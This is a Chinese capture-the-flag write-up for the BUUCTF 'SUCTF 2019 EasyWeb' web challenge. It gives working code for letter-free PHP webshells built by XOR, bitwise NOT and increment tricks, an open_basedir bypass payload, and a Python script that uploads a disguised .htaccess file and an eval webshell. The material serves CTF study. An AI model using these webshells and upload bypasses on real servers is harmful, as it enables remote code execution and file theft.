BUUCTF-WEB 【SUCTF 2019】EasyWeb 1

考点

无字符webshell构造

文件上传 (.htaccess 绕过后缀检测)

open_basedir/disable_function绕过

前置知识

构造无字母webshell的三种方式

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

在ctf中,我们一般遇到上面这种正则,不能传入字母和数字,是不是就不能执行webshell了呢,并不是,p神在他的博客中记录了三种方法,分别是异或、取反、自增。

异或

如果我们要构造 phpinfo POST GET system 这类关键字,我们可以通过 两个没有被过滤的字符进行异或得到。

演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
构造 phpinfo 
p:%FF^%8F
o:%FF^%90
n:%FF^%91
i:%FF^%96
h:%FF^%97
f:%FF^%99

$_=%FF%FF%FF%FF%FF%FF%FF^%8F%97%8F%96%91%99%90;$_(); //$_=phpinfo;$_(); 成功执行phpinfo();

在php5 可以用assert 函数 php7 不能
php5 下
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');// assert
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //_POST
$___=$$__; //$_POST
$_($___[_]); //assert($_POST[_])
POST _=phpinfo();

image-20210823153951769

生成脚本

python

1
2
3
4
5
6
7
8
9
10
11
12
import urllib.parse

find = ['p','h','i','n','f','o']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$l = "";
$r = "";
$argv = str_split("_GET");
for ($i = 0; $i < count($argv); $i++) {
for ($j = 0; $j < 255; $j++) {
$k = chr($j) ^ chr(255); // dechex(255) = ff
if ($k == $argv[$i]) {
if ($j < 16) {
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
取反

参考

与异或类似,不过它利用的是 UTF-8 编码中的某个汉子 , 将其中的某个字符提取出来 , 进行取反后得到对应字符

生成步骤

  1. 找到 “p“ 对应的 ASCII码,拿到对应的十六进制编码 70

  2. 在前面添加两个十六进制数 . 这个数是任意的 . 然后将它取反 . 在线

    比如这里用 7B,然后就行取反。

    image-20210823160420273

  3. 将取反后的数字写成 NCR 格式( &#x … ) , 并且将它转换为中文字符 在线

    &#x848f

image-20210823160541639

  1. 带入代码测试 , 取第二个字符( 第一个字符是你任意添加的 ) , 即可得到需要的字符
image-20210823160647121 image-20210823160707432

示范

构建 phpinfo 进行测试

p h i n f o 对应的 十六进制编码 70 68 69 6e 66 6f

加入 7b 取反

原字符 十六进制 取反 转为字符

p 7b70 848F 蒏

h 7b68 8497 蒗

i 7b69 8496 蒖

n 7b6e 8491 蒑

f 7b66 8499 蒙

o 7b6f 8490 蒐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

$_=('>'>'<')+('>'>'<'); //2
$__='';
$___="蒏";$__.=~($___{$_});
$___="蒗";$__.=~($___{$_});
$___="蒏";$__.=~($___{$_});
$___="蒖";$__.=~($___{$_});
$___="蒑";$__.=~($___{$_});
$___="蒙";$__.=~($___{$_});
$___="蒐";$__.=~($___{$_});

// phpinfo();
$__();

p神的例子

$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
POST 2=phpinf();

image-20210824093035835

注意事项:这个写在php文件中能直接运行,通过GET传参就报错 eval()'d code:1 Stack trace:,经过多次测试,需要进行url编码提交才不会报错。

递增运算得到对应字符

这个就直接上代码,方式不一样,目的一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
p神案例 // ASSERT($_POST[_]); 这个仅支持 php5 php7 需要更换assert 为其他代码执行函数 
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]);
POST _=phpinfo();

// 自己构造的命令执行 (SYSTEM)($_POST[_]); 函数自调用 需要php7.0 以上

<?=$_=[]?>
<?=$_="$_"?>
<?=$_=$_['!'=='@']?>
<?=$___=$_?>
<?=$__=$_?>

<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____=$__++?>
<?=$__++?><?=$__++?><?=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$_____=$__++?>
<?=$__++?>
<?=$______=$__++?>
<?=$_______=$__++?>
<?=$__++?> <?=$__++?>
<?=$________=$__++?>
<?=$_________________=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$__________=$__++?>
<?=$_________=$________.$__________.$________.$_________________.$____.$_____?>
<?=($_________)(${'_'.$_______.$______.$________.$_________________}[_])?>

// 可做免杀马 不能直接POST提交 会报 Parse error: syntax error, unexpected '<', expecting end of file in
// 编码也没用

image-20210824104232105

绕过 open_basedir/disable_function

open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1”都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

payload

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

也可以用蚁剑 disable_functions 插件绕过

解题过程

打开

得到一份代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
# 构建路径
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
# 创建路径
mkdir($userdir);
}
# 判断文件是否上传
if(!empty($_FILES["file"])){
# 拿到上传的临时文件名
$tmp_name = $_FILES["file"]["tmp_name"];
# 拿到文件名
$name = $_FILES["file"]["name"];
# 拿到后缀
$extension = substr($name, strrpos($name,".")+1);
# 后缀不能存在 ph
if(preg_match("/ph/i",$extension)) die("^_^");
# 文件内容不能存在 <?
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
# 通过文件头判断是否为常见的图片文件类型
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
# 将文件保存到刚刚创建的路径下
@move_uploaded_file($tmp_name, $path);
# 输出路径
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}
# 传入字符长度不能大于18
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
# 不能有字母数字以及一些其他字符
# 无字母webshell 不能用取反来构造
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
# 代码执行 调用get_the_flag
eval($hhh);
?>
代码审计

通过审计,getshell可以分为两个步骤,第一步,先绕过条件 if ( preg_match('/[\x00- 0-9A-Za-z\'"\反引号~_&.,|=[\x7F]+/i', $hhh) ) ,这个条件通过 异或的方式构造无字母webshell绕过。第二步:需要绕过三个条件,分别是 if(preg_match("/ph/i",$extension)),后缀不能带有ph。if(mb_strpos(file_get_contents($tmp_name), '<?')!==False),文件内容中不能存在 <?。if(!exif_imagetype($tmp_name)) ,文件头必须是常见图片类型文件头。绕过方式:通过上传.htaccess文件,在.htaccess文件中,需要伪造图片头来过第三个条件的检测 ,通常我们会想到GIF89a来绕过,但是这样会让.htaccess文件不能生效,这时可以通过 在.htaccess 头部添加#define width 1337 #define height 1337 绕过。然后再上传头部带有GIF89a、后缀名为jpg的一句话。

第一步

通过异或构造无字母webshell

1
2
3
4
5
6
7
8
9
10
11
// ${_GET}{_}(); 
// 通过上面给的脚本 分别用 _ G E T 来作为异或目标
// 得到
_:%FF^%A0
T:%FF^%AB
G:%FF^%B8
E:%FF^%BA
// 组装
${%FF%FF%FF%FF^%A0%B8%BA%AB}{%A0}();
// phpinfo 测试
${%FF%FF%FF%FF^%A0%B8%BA%AB}{%A0}();&%A0=phpinfo

image-20210824112135294

没有问题,也可以直接执行get_the_flag。

第二步

上脚本

再进行.htaccess 文件内容构建的时候,需要知道文件上传的路径,路径的构建规则,upload/tmp_".md5($_SERVER['REMOTE_ADDR']),得到 upload/tmp_532fb014387262fa08e25fd65663cac2

这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_532fb014387262fa08e25fd65663cac2/shell.jpg"
"""
# 这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则
shell = "GIF89a"+"aa"+"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="
# <?php eval($_POST['cmd']);?>

url = 'http://3cd358ce-4a9b-430d-b949-13b4c50642f0.node4.buuoj.cn:81/?_=${%FF%FF%FF%FF^%A0%B8%BA%AB}{%A0}();&%A0=get_the_flag'
# print(url)
# 上传 .htaccess
files = {'file':('.htaccess', htaccess, 'image/jpeg')}
data = {'upload':'submit'}
res = requests.post(url=url, data=data, files=files)
print(res.text)
# 上传shell
files = {'file':('shell.jpg', shell, 'image/jpeg')}
data = {'upload':'submit'}
res = requests.post(url=url, data=data, files=files)
print(res.text)

执行

image-20210824122929547

getshell

蚁剑连接

但是不能跳转到其他目录,使用蚁剑的disable_functions插件,辅助工具->绕过disable_functions->选择模式->PHP7_GC_UAF 。

image-20210824124306195

手动绕过open_basedir payload
1
2
3
url: http://3cd358ce-4a9b-430d-b949-13b4c50642f0.node4.buuoj.cn:81/upload/tmp_532fb014387262fa08e25fd65663cac2/shell.jpg
POST
cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

image-20210824124523246

总结

用无字母webshell的方式绕过正则对字母数字的匹配,通过上传.htaccess的方式绕过对正则对后缀的匹配,.htaccess为什么上传这个文件就能让上传的图片当做php文件执行呢?

image-20210824125016556

实际上就是apache的一个配置文件,也就是只有服务器是apache的时候可以这样做,nginx就不行。

AddType 这个参数可以为当前目录下的 指定的后缀名添加MIME类型。

刚刚我们设置的 AddType application/x-httpd-php .jpg 就是把.jpg后缀的MIME类型设置为 application/x-httpd-php,服务器去读取.jpg文件的时候会把它当成php文件读取,所以,里面的一句话就能执行。

学到了不少。